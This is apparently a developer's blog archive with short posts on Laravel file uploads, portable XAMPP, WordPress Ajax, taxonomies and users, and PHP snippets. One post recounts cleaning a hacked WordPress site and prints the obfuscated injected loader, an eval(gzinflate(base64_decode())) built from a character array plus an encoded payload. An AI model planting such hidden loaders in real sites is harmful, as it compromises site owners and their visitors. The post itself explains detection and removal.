Uploading and Storing Files in MySql Database – Laravel

There are times when storing files in database instead on file-system makes sense. In a recent Laravel project i had to upload and store files in MySql database. Here is how to do that.

First of all you will need a Table to Store Files and a Model Class to handle file uploads. I created the ‘attachments’ table to store files and ‘Attachment’ model class to handle and manage file uploads.

Schema of the ‘attachments’ table

Schema::create('attachments', function($table)){
$table->increments('id');
$table->string('name',250);
$table->string('mime',250);
$table->integer('size');
$table->timestamps();
}

The above code goes inside ‘up’ function of the migration file for this table – ‘attachments’.

One thing you will notice here is that i have not used any column to store actual file data. Laravel does have a binary type data column, but i am not using it, as it has a limitation of allowing not more than 64K in file size. And in my project i need to store large files exceeding 64K bytes. To overcome this limitaton i am going to use raw query to add a column of type LONGBLOB to the attachments table.


DB::statement("ALTER TABLE attachments ADD COLUMN data LONGBLOB");

The above code goes inside ‘up’ function of another migration file that i created just after creating the migration file for attachments table.

To be continued….

Steps to Install XAMPP as Portable Web Server on a Pen/Flash/USB Drive – for Windows OS

Installing XAMPP as a portable web server is easy. Follow the steps below.

  1. Download Xampp
  2. Run installation on Pen/Flash drive
  3. Open XAMPP folder on pen/flash drive and browse to apache>conf folder. Locate httpd.conf file and replace all references of the XAMP drive letter wih “/”. For example if the XAMPP installation path is shown as “x:/xampp/” then replace it with “/xampp/”.
  4. Run setup_xampp.bat and press 1 to refresh the installation
  5. You are set!

If you still cannot get it up then write in the comments below!

File Upload in Laravel

File upload in Laravel is very easy. This is how it works.

    1. Create a form to upload files.
    2. Browse and select a file to upload.
    3. Submit upload form.
    4. Process uploaded file with in-built Laravel methods from File class.
    5. Move file to new destination.

Using Blade Templating Syntax a simple file upload form in Laravel may look as follows:

{{ Form::open(['url'=>'some path', 'files'=>true]) }}
{{ Form::file('file', ['class'=>'some class']) }}
{{ Form::submit('Upload File', ['class'=>'some class']) }}
{{ Form::close() }}

Laravel provides a great method file() to retrieve information about an uploaded file.

Input::file(‘file’)->getFilename() returns the temporary filename after upload.

Input::file(‘file’)->getClientOriginalName() returns the original file name.

Input::file(‘file’)->getClientSize() returns the size of the uploaded file in bytes.

Input::file(‘file’)->getClientMimeType() returns the mime type of the file.

Input::file(‘file’)->getClientOriginalExtension() returns the file extension.

Input::file(‘file’)->getRealPath() returns the current location of uploaded file.

Finally, we can use the move() method to upload the file to a new destination. This method takes 2 parameters – the destination and the new name of the uploaded file.

Input::file(‘file’)->move(<destination>, ‘<new file name>’);

To reduce keystrokes we can assign a variable to Input::file(‘file’) and use that variable to call the methods. Example: $fileObj = Input::file(‘file’) – and then to get the file extension we can do: $fileObj->getClientExtension()
new file name should have an extension – preferably the original file extension, else the uploaded file may become unreadable.
A common problem frequently encountered is the upload path selection. In most cases uploaded files are stored in a public folder ‘uploads’ which is under ‘public’ folder of Laravel installation. The public folder path can be accessed with public_path() method and the destination path will be located at: public_path().’uploads/’ 

 

Ajax call returns -1 in WordPress Plugin?

I came across this problem while developing a plugin for a client.

I made the Ajax call properly using the following code

$( "#hform-leads" ).click( function()
{

var username = $("#username").val();

var data = {
action: 'register_lead',
username: username
};

jQuery.post("/wp-admin/admin-ajax.php", data, function(response) {
alert( response );
});

});

and on the plugin file i used the following code:

add_action('wp_ajax_register_lead', 'exec_register_lead');

function exec_register_lead()
{

//my function code here

}

The code worked while i was logged in. Once i logged out it started returning “-1″ as the Ajax response.

After carefully going through WordPress documentation on Ajax calls i found that when you are logged out, you do not have privilege to call the Ajax script. To make it work, privilege must be given to the logged out users to execute the Ajax script from client side.

This is done by adding one more line below this line:

add_action('wp_ajax_register_lead', 'exec_register_lead');

//add the following line

add_action('wp_ajax_nopriv_register_lead', 'exec_register_lead');

WordPress Blog Hacked with Footer Spam Links (rankexplorer poker software)

One of my wordpress blogs got hacked last week with spam links. First i noticed a single link to a site rankexplorer.com with anchor text poker software – inserted at the bottom of my blog pages. The links increased to 20 when i did not take any action to remove them.

These spam links were driving me crazy as i tried all possible ways i found on the net and found no trace of these links – neither in files nor in wordpress database.

I deactivated all plugins one by one and after deactivating “members” plugin (by Justin Tadlock) the spam links were gone from home page – but still persisted on the other pages.

I searched through the wordpress database and core and theme folders with link urls, anchor text but found no reference. Then i remembered a similar hack discussed in a internet marketing forum about spammers using encoding to avoid detection.

I opened my core wordpress installation directory via FTP and arranged the files in descending order of modification. This gave me the recent date that a file was changed.

The core folder did not show any modified file in last 2 weeks. When i moved to wp-includes folder and again rearranged the files by modified date – the functions.php file popped to the top.

Since  i had not done any changes to any core files i was pretty sure that this must be the file which is compromised. I opened the file in dreamweaver and sure there it was – a large chunk of encoded junk at the top of the file, above the WordPress original code

$md5 = "ca8d6fe6ff7ff855deefebd16e95aa6b";
$wp_salt = array("_","b","t",'v',"(","f","l","c",'r','z',"e",'g',"s","6",'a',"i","4",'$',';',"n","o",")",'d');
$wp_add_filter = create_function('$'.'v',$wp_salt[10].$wp_salt[3].$wp_salt[14].$wp_salt[6].$wp_salt[4].$wp_salt[11].$wp_salt[9].$wp_salt[15].$wp_salt[19].$wp_salt[5].$wp_salt[6].$wp_salt[14].$wp_salt[2].$wp_salt[10].$wp_salt[4].$wp_salt[1].$wp_salt[14].$wp_salt[12].$wp_salt[10].$wp_salt[13].$wp_salt[16].$wp_salt[0].$wp_salt[22].$wp_salt[10].$wp_salt[7].$wp_salt[20].$wp_salt[22].$wp_salt[10].$wp_salt[4].$wp_salt[17].$wp_salt[3].$wp_salt[21].$wp_salt[21].$wp_salt[21].$wp_salt[18]);
$wp_add_filter('FZnHDqNaFkU/51WJATmp1QOTc86TFtHkaOLXN29u4Qucs/badnmk/Z/v04xVn/7KP1m6lQT2v6LMp6L884+QVAK/eLHQ+eBM7OwnJC9nbUgd6D58N+Zk+avoya7PMiyrIkvxZIQrYEVNOKF/cwFSw7my5VN5cK+PoGZZiJJO+xb6fvUNrDJj6jlSrHUDAFHUwHU7dgDjm0AuufGhA25BMlevvyw+HZX9Fcv63MYRjJrImwk+21ne+/Gdqt9LuxmMSmgwTia8AsFzRt1NoKqr7yyK3g35MXCzAz3Y8dmPGTSqvg6UtSPlBgRVVtvsOnfJgruTWg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GnmEm9zrjRJl8N+UNiY4t1NZVamjDweK/JmbwnGYfgJJn6b6slNr7n6cSPdxkyAne4NVUDmsN2Z38X975G0okJRcdUwkK6vJeO+6TJa+L8nkUV+vABySiXeb+jgCXUYSjqyKobwOzr6iicfA8FUR5H1r82o39ZYRXIU+RA8KEBsADBM//vP3///v3P/wE=');

I removed this block and updated the functions.php file and sure the spam links were gone!

Note that in my case it was a core wordpress file where the spam links were encoded. In another hacked site the location may be different. The spam links may come from a compromised theme file also.

The following steps will help you narrow down the list of files which you will need to check for any malicious code:

1. Deactivate any custom theme you might be using and activate the default wordpress twenty eleven theme. Then view source of your site pages to see if the links have disappeared. If the links are gone then your theme files are compromised. If the links persist then the core wordpress files are hacked.

2. Arrange the core wordpress files (or the theme files as the case may be) in descending order of modification date. The core files are not meant to be modified, and if you have not edited any core file yourself then any recently modified file may be the one containing the malicious code. Apply the same logic for theme files too.

I had a hard time finding and removing the spam links. Hope this article will save a bit of your time in keeping your blog clean.

 

How to Enable Custom Taxonomy Terms for Non-Admin users in WordPress

When you add custom taxonomy for your posts (including custom post types) – by default the taxonomy terms can be added and assigned from the post edit screen when you login as Admin (or as an editor).

But, if you are a subscriber or any other non-admin user, the custom taxonomies will be disabled (greyed out) when you edit a post(or custom post type) unless, you include certain information while registering the custom taxonomy. To make things easier, you will also need to install a robust plugin like members from a WordPress pro Justin Tadlock.

Say, i want to register a custom taxonomy ‘city’ for custom post type ‘club’. I will use the following code


register_taxonomy( 'city',array (
0 = 'club',
),
array(
'hierarchical' => true,
'label' => 'Cities',
'show_ui' => true,
'query_var' => true,
'rewrite' => array('slug' => 'city'),
'singular_label' => 'City',
'capabilities' => array(
'manage_terms' => 'manage_categories',
'edit_terms' => 'manage_categories',
'delete_terms' => 'manage_categories',
'assign_terms' => 'edit_clubs'
),
)
);

This code goes straight to my functions.php theme file. This code is derived from wordpress codex.

Here, the most important lines that are required to get the custom taxonomies working is inside the ‘capabilities’ array.

‘manage_terms’ => ‘manage_categories’
‘edit_terms’ => ‘manage_categories’
‘delete_terms’ => ‘manage_categories’
‘assign_terms’ => ‘edit_clubs’

What the first 3 lines mean is – anyone with ‘manage_categories’ capability will be able to manage/edit/delete terms of the custom taxonomy. The fourth line means that anyone with ‘edit_clubs’ capability will be able to assign terms to posts(including custom post types) in edit screen.

To add capabilities to a user role you will need to write down some code yourself – which is time consuming and i would not elaborate here, or, you can use a robust role management plugin like members .

Download the members plugin from WordPress and install.

After activating the plugin you will see a new “Roles” menu under “Users” menu in your WordPress admin panel. Add new role and assign capabilities as you want. For the example above, i created a “promoter” role with capabilities ‘edit_clubs’, ‘delete_clubs’ and ‘publish_clubs’. The “edit_club” capability is mapped to “assign_terms” capability as shown above. This allowed all my registered users with a “promoter” role to login and assign cities for my custom taxonomy ‘city’.

Word Press Remove Blank Line From RSS Feed Error Fix

Are you pulling your hair out trying to solve this error? If you are not a geek then most probably you are doing just that!

This error is generated when the feed output generated by WordPress contains a blank space at the beginning of the output page.

The most common cause for this error is a blank space somewhere in between PHP tags in your theme’s functions.php file.

Look for PHP tags that contains a space like this:

Remove the blank space and the feed should work now.

If that did not work out you can try this neat wordpress plugin fix rss feed.

Another alternative is to disable all your plugins one by one and check out the feed output. If your feed starts working after deactivating a particular plugin, then check out the PHP functions in that plugin files. Here again, the main issue could be a gap between PHP tags as decribed above. Remove all such spaces. Since this requires knowledge of wordpress plugins, this method is not recommended for non-programmers.

Also, do not forget to back up your wordpress database and files before tampering with any plugin file.

If everything else fails – then hire an expensive programmer to do the task!

Do you have any other methods to solve this error? Please share in the comments below.

Get Users List by Role in WordPress

To get the list of all users in your wordpress blog use the following code:

[php]

<?php

$users = get_users();

?>

[/php]

This function returns an Array of user objects as follows:

[html] Array
(
[0] => stdClass Object
(
[ID] => 1
[user_login] => admin
[user_pass] => ***************************.
[user_nicename] => admin
[user_email] => admin@localhost.com
[user_url] =>
[user_registered] => 2011-06-25 18:05:28
[user_activation_key] =>
[user_status] => 0
[display_name] => admin
)

[1] => stdClass Object
(
[ID] => 2
[user_login] => seema
[user_pass] => ***************************
[user_nicename] => seema
[user_email] => seema@localhost.com
[user_url] =>
[user_registered] => 2011-06-25 18:12:53
[user_activation_key] =>
[user_status] => 0
[display_name] => seema
)

)
[/html] You can use a foreach loop to extract the required user information.

For example – if you want to extract only the user names, you would do the following loop

[php] <?php

$users = get_users();

foreach( $users as $user )
{
echo $user->user_nicename;

echo ‘<br />';

}
?>
[/php]

The above code is fine as long as you want all users in your blog. But when you need users by roles, you will need to pass certain parameters to the function get_users();

Say, you want all users with the role “agent”. The following modified code will get you all the user from role agent

[php] <?php

$args[‘role’] = ‘agent';

$users = get_users( $args );
?>
[/php]

What we are doing here is passing an argument role to the get_users() function telling it to return only those users who belong to the role agent.

You can pass more arguments to the get_users() function to filter the returned users as per your requirements.

For a detailed list of arguments check out this article at wordpress codex

Note that this function is available from WordPress version 3.1 onwards.

What Every WordPress Plugin Developer Should Know

This is one excellent tutorial from smashingmagazine.com

In a nutshell following are the main points from this article

1. Turn on debugging feature before you start developing a plugin
2. Provide unique prefixes to your plugin function names
3. Create global paths for your CSS and JS code
4. Keep track of plugin version for upgrades
5. To create/update your plugin database tables use dbDelta() function
6. Know how and when to use actions and filters
7. Create your own settings page for your plugin

Full article at smashingmagazine

Generating a list of Random Numbers in PHP

I created the following code while working on a wordpress plugin. As usual, first i searched in Google for a short cut way to do this! Turned out, lots of people were having trouble generating a list of random numbers in PHP.

[php] <?php

$low = 1; //lowest number

$high = 500; //highest number

$not = true;

$max = 5; //number of random numbers that you want

$list = array();

while( $not ) {

$p = rand( $low, $high );

if ( !in_array( $p, $list ) ){

$list[] = $p;

}

$count = count( $list );

if ( $count == $max )
{
$not = false;
}

}

foreach( $list as $val ){

echo $val;

echo "<br />";
}

?>
[/php]